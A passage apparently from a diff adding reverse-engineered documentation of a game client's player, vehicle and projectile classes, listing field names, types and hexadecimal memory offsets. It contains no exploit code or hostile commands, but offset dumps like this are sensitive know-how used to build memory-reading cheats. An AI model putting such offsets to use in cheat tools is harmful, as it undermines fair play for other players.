m_flStepSoundTime: Float, + m_flTimeAllSuitDevicesOff: Float, + m_fStickySprintMinTime: Float, + m_bPlayedSprintStartEffects: Bool, + m_fIsSprinting: Bool, + m_fIsWalking: Bool, + m_lastSprintPressTime: Time, + m_stickySprintForwardEnableTime: Time, + m_stickySprintForwardDisableTime: Time, + m_sprintStartedTime: Time, + m_sprintStartedFrac: Float, + m_sprintEndedTime: Time, + m_sprintEndedFrac: Float, + m_stickySprintStartTime: Time, + m_damageImpulseNoDecelEndTime: Time, + m_duckState: Int, + m_leanState: Int, + m_doingHalfDuck: Bool, + m_canStand: Bool, + m_StandHullMin: Vector, + m_StandHullMax: Vector, + m_DuckHullMin: Vector, + m_DuckHullMax: Vector, + m_upDir: Vector, + m_upDirPredicted: Vector, + m_lastWallRunStartPos: Vector, + m_wallRunCount: Int, + m_wallRunWeak: Bool, + m_shouldBeOneHanded: Bool, + m_oneHandFraction: Float, + m_animAimPitch: Float, + m_animAimYaw: Float, + m_wallRunPushAwayTime: Float, + m_wallrunRetryTime: Time, + m_wallrunRetryPos: Vector, + m_wallrunRetryNormal: Vector, + m_wallHangTime: Float, + m_traversalState: Int, + m_traversalType: Int, + m_traversalBegin: Vector, + m_traversalMid: Vector, + m_traversalEnd: Vector, + m_traversalMidFrac: Float, + m_traversalForwardDir: Vector, + m_traversalRefPos: Vector, + m_traversalProgress: Float, + m_traversalStartTime: Time, + m_traversalHandAppearTime: Time, + m_traversalReleaseTime: Time, + m_traversalBlendOutStartTime: Time, + m_traversalBlendOutStartOffset: Vector, + m_traversalYawDelta: Float, + m_wallDangleJumpOffTime: Time, + m_wallDangleMayHangHere: Bool, + m_wallDangleForceFallOff: Bool, + m_wallDangleLastPushedForward: Bool, + m_wallDangleDisableWeapon: Int, + m_wallDangleClimbProgressFloor: Float, + m_wallClimbSetUp: Bool, + m_wallHanging: Bool, + m_gravityLiftActive: Bool, + m_gravityLiftLastOrigin: Vector, + m_gravityLiftEjectVelocity: Vector, + m_grapple: GrappleData, + m_grapple: GrappleData, + m_grappleActive: Bool, + m_grappleActive: Bool, + m_grappleNeedWindowCheck: Bool, + m_grappleNextWindowHint: EHANDLE, + m_slowMoEnabled: Bool, + m_sliding: Bool, + m_slideLongJumpAllowed: Bool, + m_lastSlideTime: Time, + m_lastSlideBoost: Float, + m_gravityGrenadeStatusEffect: Int, + m_bIsStickySprinting: Bool, + m_prevMoveYaw: Float, + m_sprintTiltVel: Float, + m_turret: EHANDLE, + m_hViewModels: EHANDLE, + m_viewOffsetEntity: Player_ViewOffsetEntityData, + m_activeZipline: EHANDLE, + m_lastZipline: EHANDLE, + m_lastZiplineDetachTime: Time, + m_ziplineValid3pWeaponLayerAnim: Bool, + m_ziplineState: Int, + m_zipline: PlayerZiplineData_Client, + m_ziplineViewOffsetPosition: Vector, + m_ziplineViewOffsetVelocity: Vector, + m_ziplineGrenadeEntity: EHANDLE, + m_ziplineGrenadeBeginStationEntity: EHANDLE, + m_ziplineGrenadeBeginStationAttachmentIndex: Int, + m_sameZiplineCooldownTime: Float, + m_playAnimationType: Int, + m_detachGrappleOnPlayAnimationEnd: Bool, + m_playAnimationNext: Int, + m_boosting: Bool, + m_activateBoost: Bool, + m_repeatedBoost: Bool, + m_boostMeter: Float, + m_jetpack: Bool, + m_activateJetpack: Bool, + m_jetpackAfterburner: Bool, + m_gliding: Bool, + m_glideMeter: Float, + m_glideRechargeDelayAccumulator: Float, + m_hovering: Bool, + m_isPerformingBoostAction: Bool, + m_lastJumpHeight: Float, + m_touchingUpdraftTriggers: EHANDLE, + m_touchingUpdraftTriggersCount: Int, + m_touchingSlipTriggers: EHANDLE, + m_touchingSlipTriggersCount: Int, + m_slipAirRestrictDirection: Vector, + m_slipAirRestrictTime: Time, + m_melee: PlayerMelee_PlayerData, + m_useCredit: Bool, + m_wallRunStartTime: Time, + m_wallRunClearTime: Time, + m_onSlopeTime: Float, + m_lastWallNormal: Vector, + m_dodging: Bool, + m_lastDodgeTime: Time, + m_vecPreviouslyPredictedOrigin: Vector, + m_flTimeLastTouchedWall: Float, + m_timeJetpackHeightActivateCheckPassed: Time, + m_flTimeLastTouchedGround: Float, + m_flTimeLastJumped: Float, + m_flTimeLastLanded: Float, + m_flLastLandFromHeight: Float, + m_usePressedTime: Float, + m_lastUseTime: Float, + m_lastFakeFloorPos: Vector, + m_bHasJumpedSinceTouchedGround: Bool, + m_bDoMultiJumpPenalty: Bool, + m_dodgingInAir: Bool, + m_activeViewmodelModifiers: Bool, + m_lastMoveInputTime: Time, + m_ignoreEntityForMovementUntilNotTouching: EHANDLE, + m_gameMovementUtil.m_surfaceFriction: Float, + m_lungeTargetEntity: EHANDLE, + m_isLungingToPosition: Bool, + m_lungeTargetPosition: Vector, + m_lungeStartPositionOffset: Vector, + m_lungeEndPositionOffset: Vector, + m_lungeStartTime: Time, + m_lungeEndTime: Time, + m_lungeCanFly: Bool, + m_lungeLockPitch: Bool, + m_lungeStartPitch: Float, + m_lungeSmoothTime: Float, + m_lungeMaxTime: Float, + m_lungeMaxEndSpeed: Float, + m_vPrevGroundNormal: Vector, + m_pushAwayFromTopAcceleration: Vector, + m_controllerModeActive: Bool, + m_skydiveForwardPoseValueVelocity: Float, + m_skydiveForwardPoseValueTarget: Float, + m_skydiveForwardPoseValueCurrent: Float, + m_skydiveSidePoseValueVelocity: Float, + m_skydiveSidePoseValueTarget: Float, + m_skydiveSidePoseValueCurrent: Float, + m_skydiveYawVelocity: Float, + m_skydiveIsNearLeviathan: Bool, + m_skydiveState: Int, + m_skydiveStartTime: Time, + m_skydiveEndTime: Time, + m_skydiveAnticipateStartTime: Time, + m_skydiveAnticipateEndTime: Time, + m_skydiveDistanceToLand: Float, + m_skydiveDiveAngle: Float, + m_skydiveIsDiving: Bool, + m_skydiveSpeed: Float, + m_skydiveStrafeAngle: Float, + m_skydiveFreelookEnabled: Bool, + m_skydiveFreelookLockedAngle: Vector, + m_skydivePlayerPitch: Float, + m_skydivePlayerYaw: Float, + m_skydiveFollowing: Bool, + m_skydiveUnfollowVelocity: Vector, + m_skydiveLeviathanHitPosition: Vector, + m_skydiveLeviathanHitNormal: Vector, + m_skydiveSlipVelocity: Vector, + m_playerKnockBacks: C_KnockBack, + m_updraftCount: Int, + m_updraftStage: Int, + m_updraftEnterTime: Time, + m_updraftLeaveTime: Time, + m_updraftMinShakeActivationHeight: Float, + m_updraftMaxShakeActivationHeight: Float, + m_updraftLiftActivationHeight: Float, + m_updraftLiftSpeed: Float, + m_updraftLiftAcceleration: Float, + m_updraftLiftExitDuration: Float, + m_updraftSlowTime: Time, +} +``` + +### Offsets + +``` +C_Player!0x0098 m_fFlags +C_Player!0x00c4 m_currentFrame.animCycle +C_Player!0x0118 m_pMoveParent +C_Player!0x0140 m_vecAbsVelocity +C_Player!0x041c m_hGroundEntity +C_Player!0x0424 m_flMaxspeed +C_Player!0x0460 m_vecVelocity +C_Player!0x0478 m_flFriction +C_Player!0x054c m_nNextThinkTick +C_Player!0x0c00 m_SequenceTransitioner +C_Player!0x0f4c m_currentFrameBaseAnimating.animStartTime +C_Player!0x0f50 m_currentFrameBaseAnimating.animStartCycle +C_Player!0x0f60 m_currentFrameBaseAnimating.animSequence +C_Player!0x0f64 m_currentFrameBaseAnimating.animSequenceParity +C_Player!0x0f68 m_currentFrameBaseAnimating.m_flPoseParameters +C_Player!0x1b81 m_bZooming +C_Player!0x1b84 m_zoomToggleOnStartTime +C_Player!0x1b88 m_zoomBaseFrac +C_Player!0x1b8c m_zoomBaseTime +C_Player!0x1b90 m_zoomFullStartTime +C_Player!0x1c14 m_lastUCmdSimulationTicks +C_Player!0x1c18 m_lastUCmdSimulationRemainderTime +C_Player!0x1d38 m_Local +C_Player!0x2020 m_currentFramePlayer.timeBase +C_Player!0x2028 m_currentFramePlayer.statusEffectsTimedPlayerCUR +C_Player!0x2118 m_currentFramePlayer.statusEffectsEndlessPlayerCUR +C_Player!0x21b8 m_currentFramePlayer.m_flHullHeight +C_Player!0x21bc m_currentFramePlayer.m_traversalAnimProgress +C_Player!0x21c0 m_currentFramePlayer.m_sprintTiltFrac +C_Player!0x21d0 m_currentFramePlayer.m_ammoPoolCount +C_Player!0x23a0 m_currentFrameLocalPlayer.m_stepSmoothingOffset +C_Player!0x23ac m_currentFrameLocalPlayer.m_duckTransitionRemainderMsec +C_Player!0x23b0 m_currentFrameLocalPlayer.m_vecPunchBase_Angle +C_Player!0x23bc m_currentFrameLocalPlayer.m_vecPunchBase_AngleVel +C_Player!0x23c8 m_currentFrameLocalPlayer.m_vecPunchWeapon_Angle +C_Player!0x23d4 m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.x +C_Player!0x23d8 m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.y +C_Player!0x23dc m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.z +C_Player!0x2410 m_currentFrameLocalPlayer.m_localGravityRotation +C_Player!0x2430 pl +C_Player!0x24b4 m_ammoPoolCapacity +C_Player!0x24f0 m_classModsActive +C_Player!0x27c4 m_gestureSequences +C_Player!0x27e4 m_gestureStartTimes +C_Player!0x2804 m_gestureBlendInDuration +C_Player!0x2824 m_gestureBlendOutDuration +C_Player!0x2844 m_gestureFadeOutStartTime +C_Player!0x2864 m_gestureFadeOutDuration +C_Player!0x2884 m_gestureAutoKillBitfield +C_Player!0x28a0 m_afButtonLast +C_Player!0x28a4 m_afButtonPressed +C_Player!0x28a8 m_afButtonReleased +C_Player!0x28ac m_nButtons +C_Player!0x28b0 m_nImpulse +C_Player!0x28b4 m_flPhysics +C_Player!0x28b8 m_flStepSoundTime +C_Player!0x28bc m_flTimeAllSuitDevicesOff +C_Player!0x28c0 m_fStickySprintMinTime +C_Player!0x28c4 m_bPlayedSprintStartEffects +C_Player!0x28cc m_fIsSprinting +C_Player!0x28cd m_fIsWalking +C_Player!0x28d0 m_lastSprintPressTime +C_Player!0x28d4 m_stickySprintForwardEnableTime +C_Player!0x28d8 m_stickySprintForwardDisableTime +C_Player!0x28dc m_sprintStartedTime +C_Player!0x28e0 m_sprintStartedFrac +C_Player!0x28e4 m_sprintEndedTime +C_Player!0x28e8 m_sprintEndedFrac +C_Player!0x28ec m_stickySprintStartTime +C_Player!0x28f0 m_damageImpulseNoDecelEndTime +C_Player!0x2910 m_duckState +C_Player!0x2914 m_leanState +C_Player!0x2918 m_doingHalfDuck +C_Player!0x2919 m_canStand +C_Player!0x291c m_StandHullMin +C_Player!0x2928 m_StandHullMax +C_Player!0x2934 m_DuckHullMin +C_Player!0x2940 m_DuckHullMax +C_Player!0x2950 m_upDir +C_Player!0x295c m_upDirPredicted +C_Player!0x2968 m_lastWallRunStartPos +C_Player!0x2974 m_wallRunCount +C_Player!0x2978 m_wallRunWeak +C_Player!0x2979 m_shouldBeOneHanded +C_Player!0x297c m_oneHandFraction +C_Player!0x2980 m_animAimPitch +C_Player!0x2984 m_animAimYaw +C_Player!0x2988 m_wallRunPushAwayTime +C_Player!0x2994 m_wallrunRetryTime +C_Player!0x2998 m_wallrunRetryPos +C_Player!0x29a4 m_wallrunRetryNormal +C_Player!0x29c8 m_wallHangTime +C_Player!0x29cc m_traversalState +C_Player!0x29d0 m_traversalType +C_Player!0x29d4 m_traversalBegin +C_Player!0x29e0 m_traversalMid +C_Player!0x29ec m_traversalEnd +C_Player!0x29f8 m_traversalMidFrac +C_Player!0x29fc m_traversalForwardDir +C_Player!0x2a08 m_traversalRefPos +C_Player!0x2a14 m_traversalProgress +C_Player!0x2a18 m_traversalStartTime +C_Player!0x2a1c m_traversalHandAppearTime +C_Player!0x2a20 m_traversalReleaseTime +C_Player!0x2a24 m_traversalBlendOutStartTime +C_Player!0x2a28 m_traversalBlendOutStartOffset +C_Player!0x2a34 m_traversalYawDelta +C_Player!0x2a40 m_wallDangleJumpOffTime +C_Player!0x2a44 m_wallDangleMayHangHere +C_Player!0x2a45 m_wallDangleForceFallOff +C_Player!0x2a46 m_wallDangleLastPushedForward +C_Player!0x2a48 m_wallDangleDisableWeapon +C_Player!0x2a4c m_wallDangleClimbProgressFloor +C_Player!0x2a50 m_wallClimbSetUp +C_Player!0x2a51 m_wallHanging +C_Player!0x2a52 m_gravityLiftActive +C_Player!0x2a54 m_gravityLiftLastOrigin +C_Player!0x2a60 m_gravityLiftEjectVelocity +C_Player!0x2a70 m_grapple +C_Player!0x2a70 m_grapple +C_Player!0x2b00 m_grappleActive +C_Player!0x2b00 m_grappleActive +C_Player!0x2b01 m_grappleNeedWindowCheck +C_Player!0x2b04 m_grappleNextWindowHint +C_Player!0x2b14 m_slowMoEnabled +C_Player!0x2b15 m_sliding +C_Player!0x2b16 m_slideLongJumpAllowed +C_Player!0x2b18 m_lastSlideTime +C_Player!0x2b1c m_lastSlideBoost +C_Player!0x2b20 m_gravityGrenadeStatusEffect +C_Player!0x2b24 m_bIsStickySprinting +C_Player!0x2b28 m_prevMoveYaw +C_Player!0x2b2c m_sprintTiltVel +C_Player!0x2b48 m_turret +C_Player!0x2b4c m_hViewModels +C_Player!0x2b60 m_viewOffsetEntity +C_Player!0x2ca0 m_activeZipline +C_Player!0x2ca4 m_lastZipline +C_Player!0x2ca8 m_lastZiplineDetachTime +C_Player!0x2cac m_ziplineValid3pWeaponLayerAnim +C_Player!0x2cb0 m_ziplineState +C_Player!0x2cb8 m_zipline +C_Player!0x2d28 m_ziplineViewOffsetPosition +C_Player!0x2d34 m_ziplineViewOffsetVelocity +C_Player!0x2d40 m_ziplineGrenadeEntity +C_Player!0x2d44 m_ziplineGrenadeBeginStationEntity +C_Player!0x2d48 m_ziplineGrenadeBeginStationAttachmentIndex +C_Player!0x2d50 m_sameZiplineCooldownTime +C_Player!0x2d58 m_playAnimationType +C_Player!0x2d5c m_detachGrappleOnPlayAnimationEnd +C_Player!0x2d60 m_playAnimationNext +C_Player!0x2d74 m_boosting +C_Player!0x2d75 m_activateBoost +C_Player!0x2d76 m_repeatedBoost +C_Player!0x2d78 m_boostMeter +C_Player!0x2d7c m_jetpack +C_Player!0x2d7d m_activateJetpack +C_Player!0x2d7e m_jetpackAfterburner +C_Player!0x2d7f m_gliding +C_Player!0x2d80 m_glideMeter +C_Player!0x2d84 m_glideRechargeDelayAccumulator +C_Player!0x2d88 m_hovering +C_Player!0x2d89 m_isPerformingBoostAction +C_Player!0x2d8c m_lastJumpHeight +C_Player!0x2d90 m_touchingUpdraftTriggers +C_Player!0x2dd0 m_touchingUpdraftTriggersCount +C_Player!0x2dd4 m_touchingSlipTriggers +C_Player!0x2e14 m_touchingSlipTriggersCount +C_Player!0x2e18 m_slipAirRestrictDirection +C_Player!0x2e24 m_slipAirRestrictTime +C_Player!0x2fb8 m_melee +C_Player!0x2ff0 m_useCredit +C_Player!0x336c m_wallRunStartTime +C_Player!0x3370 m_wallRunClearTime +C_Player!0x3374 m_onSlopeTime +C_Player!0x3378 m_lastWallNormal +C_Player!0x3384 m_dodging +C_Player!0x3388 m_lastDodgeTime +C_Player!0x338c m_vecPreviouslyPredictedOrigin +C_Player!0x33a4 m_flTimeLastTouchedWall +C_Player!0x33a8 m_timeJetpackHeightActivateCheckPassed +C_Player!0x33ac m_flTimeLastTouchedGround +C_Player!0x33b0 m_flTimeLastJumped +C_Player!0x33b4 m_flTimeLastLanded +C_Player!0x33b8 m_flLastLandFromHeight +C_Player!0x33bc m_usePressedTime +C_Player!0x33c0 m_lastUseTime +C_Player!0x33d0 m_lastFakeFloorPos +C_Player!0x33dc m_bHasJumpedSinceTouchedGround +C_Player!0x33dd m_bDoMultiJumpPenalty +C_Player!0x33de m_dodgingInAir +C_Player!0x35c8 m_activeViewmodelModifiers +C_Player!0x3848 m_lastMoveInputTime +C_Player!0x384c m_ignoreEntityForMovementUntilNotTouching +C_Player!0x3d18 m_gameMovementUtil.m_surfaceFriction +C_Player!0x3d94 m_lungeTargetEntity +C_Player!0x3d98 m_isLungingToPosition +C_Player!0x3d9c m_lungeTargetPosition +C_Player!0x3da8 m_lungeStartPositionOffset +C_Player!0x3db4 m_lungeEndPositionOffset +C_Player!0x3dc0 m_lungeStartTime +C_Player!0x3dc4 m_lungeEndTime +C_Player!0x3dc8 m_lungeCanFly +C_Player!0x3dc9 m_lungeLockPitch +C_Player!0x3dcc m_lungeStartPitch +C_Player!0x3dd0 m_lungeSmoothTime +C_Player!0x3dd4 m_lungeMaxTime +C_Player!0x3dd8 m_lungeMaxEndSpeed +C_Player!0x4094 m_vPrevGroundNormal +C_Player!0x4254 m_pushAwayFromTopAcceleration +C_Player!0x4280 m_controllerModeActive +C_Player!0x4298 m_skydiveForwardPoseValueVelocity +C_Player!0x429c m_skydiveForwardPoseValueTarget +C_Player!0x42a0 m_skydiveForwardPoseValueCurrent +C_Player!0x42a4 m_skydiveSidePoseValueVelocity +C_Player!0x42a8 m_skydiveSidePoseValueTarget +C_Player!0x42ac m_skydiveSidePoseValueCurrent +C_Player!0x42b0 m_skydiveYawVelocity +C_Player!0x42b4 m_skydiveIsNearLeviathan +C_Player!0x42d0 m_skydiveState +C_Player!0x42d4 m_skydiveStartTime +C_Player!0x42d8 m_skydiveEndTime +C_Player!0x42dc m_skydiveAnticipateStartTime +C_Player!0x42e0 m_skydiveAnticipateEndTime +C_Player!0x42e4 m_skydiveDistanceToLand +C_Player!0x42e8 m_skydiveDiveAngle +C_Player!0x42ec m_skydiveIsDiving +C_Player!0x42f0 m_skydiveSpeed +C_Player!0x42f4 m_skydiveStrafeAngle +C_Player!0x42f8 m_skydiveFreelookEnabled +C_Player!0x42fc m_skydiveFreelookLockedAngle +C_Player!0x4308 m_skydivePlayerPitch +C_Player!0x430c m_skydivePlayerYaw +C_Player!0x4310 m_skydiveFollowing +C_Player!0x4314 m_skydiveUnfollowVelocity +C_Player!0x4324 m_skydiveLeviathanHitPosition +C_Player!0x4330 m_skydiveLeviathanHitNormal +C_Player!0x433c m_skydiveSlipVelocity +C_Player!0x4360 m_playerKnockBacks +C_Player!0x43e0 m_updraftCount +C_Player!0x43e4 m_updraftStage +C_Player!0x43e8 m_updraftEnterTime +C_Player!0x43ec m_updraftLeaveTime +C_Player!0x43f0 m_updraftMinShakeActivationHeight +C_Player!0x43f4 m_updraftMaxShakeActivationHeight +C_Player!0x43f8 m_updraftLiftActivationHeight +C_Player!0x43fc m_updraftLiftSpeed +C_Player!0x4400 m_updraftLiftAcceleration +C_Player!0x4404 m_updraftLiftExitDuration +C_Player!0x4408 m_updraftSlowTime +``` +
+
+class C_PlayerLocalData + +``` +{ + m_nStepside: Int, + m_nOldButtons: Int, + m_nOldVehicleButtons: Int, + m_iHideHUD: Int, + m_superJumpsUsed: Int, + m_jumpedOffRodeo: Bool, + m_jumpPressTime: Time, + m_jetpackActivateTime: Time, + m_jetpackDeactivateTime: Time, + m_flSuitPower: Float, + m_flSuitJumpPower: Float, + m_flSuitGrapplePower: Float, + m_flFallVelocity: Float, + m_flStepSize: Float, + m_airSlowMoFrac: Float, + predictableFlags: Int, + m_bitsActiveDevices: Int, + m_forceStance: Int, + m_duckToggleOn: Bool, + m_bDrawViewmodel: Bool, + m_bAllowAutoMovement: Bool, + m_airMoveBlockPlanes: Vector, + m_airMoveBlockPlaneTime: Time, + m_airMoveBlockPlaneCount: Int, + m_queuedMeleePressTime: Time, + m_queuedGrappleMeleeTime: Time, + m_disableMeleeUntilRelease: Bool, + m_meleePressTime: Time, + m_meleeDisabledCounter: Int, + m_meleeInputIndex: Int, + m_oneHandedWeaponUsage: Bool, + m_prevOneHandedWeaponUsage: Bool, + m_titanEmbarkEnabled: Bool, + m_titanDisembarkEnabled: Bool, + m_playerAnimStationaryGoalFeetYaw: Float, + m_playerAnimJumping: Bool, + m_playerAnimJumpStartTime: Time, + m_playerAnimFirstJumpFrame: Bool, + m_playerAnimDodging: Bool, + m_playerAnimJumpActivity: Int, + m_playerAnimLanding: Bool, + m_playerAnimShouldLand: Bool, + m_playerAnimLandStartTime: Time, + m_playerAnimInAirWalk: Bool, + m_playerAnimPrevFrameSequenceMotionYaw: Float, + m_playerAnimMeleeParity: Int, + m_playerAnimMeleeStartTime: Time, + m_playerLocalGravityToWorldTransform: Quaternion, + m_playerLocalGravityBlendStartRotation: Quaternion, + m_playerLocalGravityBlendEndRotation: Quaternion, + m_playerLocalGravityBlendEndDirection: Vector, + m_playerLocalGravityBlendStartTime: Time, + m_playerLocalGravityBlendEndTime: Time, + m_playerLocalGravityBlendStrength: Float, + m_playerLocalGravityStrength: Float, + m_playerLocalGravityType: Int, + m_playerLocalGravityPoint: Vector, + m_playerLocalGravityLineStart: Vector, + m_playerLocalGravityLineEnd: Vector, + m_playerLocalGravityEntity: EHANDLE, + m_playerLocalGravityLineStartEntity: EHANDLE, + m_playerLocalGravityLineEndEntity: EHANDLE, + m_playerFloatLookStartTime: Time, + m_playerFloatLookEndTime: Time, + m_wallrunLatestFloorHeight: Float, + m_wallrunFromJetpack: Bool, + m_groundNormal: Vector, + m_continuousUseBlocked: Bool, + m_useEnt: EHANDLE, +} +``` + +### Offsets + +``` +C_PlayerLocalData!0x0008 m_nStepside +C_PlayerLocalData!0x000c m_nOldButtons +C_PlayerLocalData!0x0010 m_nOldVehicleButtons +C_PlayerLocalData!0x0014 m_iHideHUD +C_PlayerLocalData!0x0018 m_superJumpsUsed +C_PlayerLocalData!0x001c m_jumpedOffRodeo +C_PlayerLocalData!0x0020 m_jumpPressTime +C_PlayerLocalData!0x0024 m_jetpackActivateTime +C_PlayerLocalData!0x0028 m_jetpackDeactivateTime +C_PlayerLocalData!0x002c m_flSuitPower +C_PlayerLocalData!0x0030 m_flSuitJumpPower +C_PlayerLocalData!0x0034 m_flSuitGrapplePower +C_PlayerLocalData!0x0038 m_flFallVelocity +C_PlayerLocalData!0x003c m_flStepSize +C_PlayerLocalData!0x0040 m_airSlowMoFrac +C_PlayerLocalData!0x0044 predictableFlags +C_PlayerLocalData!0x0048 m_bitsActiveDevices +C_PlayerLocalData!0x004c m_forceStance +C_PlayerLocalData!0x0050 m_duckToggleOn +C_PlayerLocalData!0x0051 m_bDrawViewmodel +C_PlayerLocalData!0x0052 m_bAllowAutoMovement +C_PlayerLocalData!0x0180 m_airMoveBlockPlanes +C_PlayerLocalData!0x0198 m_airMoveBlockPlaneTime +C_PlayerLocalData!0x019c m_airMoveBlockPlaneCount +C_PlayerLocalData!0x01a0 m_queuedMeleePressTime +C_PlayerLocalData!0x01a4 m_queuedGrappleMeleeTime +C_PlayerLocalData!0x01a9 m_disableMeleeUntilRelease +C_PlayerLocalData!0x01ac m_meleePressTime +C_PlayerLocalData!0x01b0 m_meleeDisabledCounter +C_PlayerLocalData!0x01b4 m_meleeInputIndex +C_PlayerLocalData!0x01bc m_oneHandedWeaponUsage +C_PlayerLocalData!0x01bd m_prevOneHandedWeaponUsage +C_PlayerLocalData!0x01f0 m_titanEmbarkEnabled +C_PlayerLocalData!0x01f1 m_titanDisembarkEnabled +C_PlayerLocalData!0x01f8 m_playerAnimStationaryGoalFeetYaw +C_PlayerLocalData!0x01fc m_playerAnimJumping +C_PlayerLocalData!0x0200 m_playerAnimJumpStartTime +C_PlayerLocalData!0x0204 m_playerAnimFirstJumpFrame +C_PlayerLocalData!0x0205 m_playerAnimDodging +C_PlayerLocalData!0x0208 m_playerAnimJumpActivity +C_PlayerLocalData!0x020c m_playerAnimLanding +C_PlayerLocalData!0x020d m_playerAnimShouldLand +C_PlayerLocalData!0x0210 m_playerAnimLandStartTime +C_PlayerLocalData!0x0214 m_playerAnimInAirWalk +C_PlayerLocalData!0x0218 m_playerAnimPrevFrameSequenceMotionYaw +C_PlayerLocalData!0x021c m_playerAnimMeleeParity +C_PlayerLocalData!0x0220 m_playerAnimMeleeStartTime +C_PlayerLocalData!0x0224 m_playerLocalGravityToWorldTransform +C_PlayerLocalData!0x0254 m_playerLocalGravityBlendStartRotation +C_PlayerLocalData!0x0264 m_playerLocalGravityBlendEndRotation +C_PlayerLocalData!0x0274 m_playerLocalGravityBlendEndDirection +C_PlayerLocalData!0x0280 m_playerLocalGravityBlendStartTime +C_PlayerLocalData!0x0284 m_playerLocalGravityBlendEndTime +C_PlayerLocalData!0x0288 m_playerLocalGravityBlendStrength +C_PlayerLocalData!0x028c m_playerLocalGravityStrength +C_PlayerLocalData!0x0290 m_playerLocalGravityType +C_PlayerLocalData!0x0294 m_playerLocalGravityPoint +C_PlayerLocalData!0x02a0 m_playerLocalGravityLineStart +C_PlayerLocalData!0x02ac m_playerLocalGravityLineEnd +C_PlayerLocalData!0x02b8 m_playerLocalGravityEntity +C_PlayerLocalData!0x02bc m_playerLocalGravityLineStartEntity +C_PlayerLocalData!0x02c0 m_playerLocalGravityLineEndEntity +C_PlayerLocalData!0x02c4 m_playerFloatLookStartTime +C_PlayerLocalData!0x02c8 m_playerFloatLookEndTime +C_PlayerLocalData!0x02cc m_wallrunLatestFloorHeight +C_PlayerLocalData!0x02d0 m_wallrunFromJetpack +C_PlayerLocalData!0x02d4 m_groundNormal +C_PlayerLocalData!0x02e0 m_continuousUseBlocked +C_PlayerLocalData!0x02e4 m_useEnt +``` +
+
+class C_PlayerVehicle extends C_BaseAnimatingOverlay + +``` +{ + m_localOrigin: Vector, + m_SequenceTransitioner: C_SequenceTransitioner, + m_vehicleDriver: EHANDLE, + m_vehicleActivated: Bool, + m_blockDuckInput: Bool, + m_vehicleLaunchTime: Float, + m_vehicleVelocity: Vector, + m_vehicleGroundEntity: EHANDLE, + m_vehicleGroundNormal: Vector, + m_vehicleGroundDist: Float, + m_hoverVehicleHoverOffsetPrev: Float, + m_hoverVehicleGroundAngles: Vector, + m_hoverVehicleIsOnGround: Bool, + m_hoverVehicleHoverSimulationIsAwake: Bool, + m_hoverVehicleSmoothTilt: Vector, + m_hoverVehicleSmoothTiltVelocity: Vector, + m_hoverVehicleSmoothYaw: Float, + m_hoverVehicleSmoothYawVelocity: Float, + m_hoverVehicleLookAheadAcceleration: Vector, + m_hoverVehicleLastBoostTime: Time, + m_hoverVehicleStunTimeEnd: Float, + m_hoverVehicleThrottle: Float, + m_hoverVehicleBanking: Float, + m_hoverVehicleFrictionLastTime: Float, + m_hoverVehicleFrictionSurfPropOther: Int, + m_hoverVehicleFrictionNormal: Vector, + m_hoverVehicleFrictionPos: Vector, + m_hoverVehiclePhysPush: Vector, +} +``` + +### Offsets + +``` +C_PlayerVehicle!0x0158 m_localOrigin +C_PlayerVehicle!0x0c00 m_SequenceTransitioner +C_PlayerVehicle!0x1984 m_vehicleDriver +C_PlayerVehicle!0x19a8 m_vehicleActivated +C_PlayerVehicle!0x19a9 m_blockDuckInput +C_PlayerVehicle!0x19b8 m_vehicleLaunchTime +C_PlayerVehicle!0x19c0 m_vehicleVelocity +C_PlayerVehicle!0x19cc m_vehicleGroundEntity +C_PlayerVehicle!0x19d0 m_vehicleGroundNormal +C_PlayerVehicle!0x19dc m_vehicleGroundDist +C_PlayerVehicle!0x19e0 m_hoverVehicleHoverOffsetPrev +C_PlayerVehicle!0x19f0 m_hoverVehicleGroundAngles +C_PlayerVehicle!0x19fc m_hoverVehicleIsOnGround +C_PlayerVehicle!0x19fe m_hoverVehicleHoverSimulationIsAwake +C_PlayerVehicle!0x1a50 m_hoverVehicleSmoothTilt +C_PlayerVehicle!0x1a5c m_hoverVehicleSmoothTiltVelocity +C_PlayerVehicle!0x1a68 m_hoverVehicleSmoothYaw +C_PlayerVehicle!0x1a6c m_hoverVehicleSmoothYawVelocity +C_PlayerVehicle!0x1a70 m_hoverVehicleLookAheadAcceleration +C_PlayerVehicle!0x1a7c m_hoverVehicleLastBoostTime +C_PlayerVehicle!0x1a88 m_hoverVehicleStunTimeEnd +C_PlayerVehicle!0x1a8c m_hoverVehicleThrottle +C_PlayerVehicle!0x1a94 m_hoverVehicleBanking +C_PlayerVehicle!0x1a98 m_hoverVehicleFrictionLastTime +C_PlayerVehicle!0x1a9c m_hoverVehicleFrictionSurfPropOther +C_PlayerVehicle!0x1aa0 m_hoverVehicleFrictionNormal +C_PlayerVehicle!0x1aac m_hoverVehicleFrictionPos +C_PlayerVehicle!0x1ab8 m_hoverVehiclePhysPush +``` +
+
+class C_Projectile extends C_BaseEntity + +``` +{ + m_weaponDataIsSet: Bool, + m_forceAdjustToGunBarrelDisabled: Bool, + m_weaponClassIndex: Int, + m_destructionDistance: Float, + m_passThroughDepthTotal: Int, + m_modBitfield: Int, + m_overrideMods: Int, + m_projectileTrailIndex: Int, + m_impactEffectTable: Int, + m_reducedEffects: Bool, + m_projectileCreationTimeServer: Float, + m_weaponSource: EHANDLE, + m_passThroughModCount: Int, + m_passThroughPoints: Vector, + m_preModdedTrailEffectIndices1p: Int, + m_preModdedTrailEffectIndices3p: Int, + m_launchOrigin: Vector, + m_wpnData: Outer, + m_hWeaponFileInfo: Short, + m_weaponChargeLevel: Int, + m_weaponChargeFraction: Float, + m_modVars: Void, + m_modVarsAreValid: Bool, + m_launchVel: Vector, + m_scriptCB: Void, + m_hasPlayedTrailEffect: Bool, + m_projectileLifeTimeEndTick: Tick, + m_projectileCreationTime: Float, + m_isVortexRefired: Bool, + m_damageAliveOnly: Bool, + m_usesPositionFunction: Bool, + m_lastCollisionNormal: Vector, + m_bounceIndex: Int, + m_randomInt: Int, + m_thrownByAI: Bool, + m_perPolyRadius: Float, + m_posBeforePhysicsSimulate: Vector, + m_hasIgnited: Bool, + m_inLagCompensation: Bool, + m_passEntities: EHANDLE, + m_projectileSpeed: Float, + m_wantStartTrailEffect: Bool, + m_hasCalledPostDataUpdate: Bool, +} +``` + +### Offsets + +``` +C_Projectile!0x1600 m_weaponDataIsSet +C_Projectile!0x1601 m_forceAdjustToGunBarrelDisabled +C_Projectile!0x1604 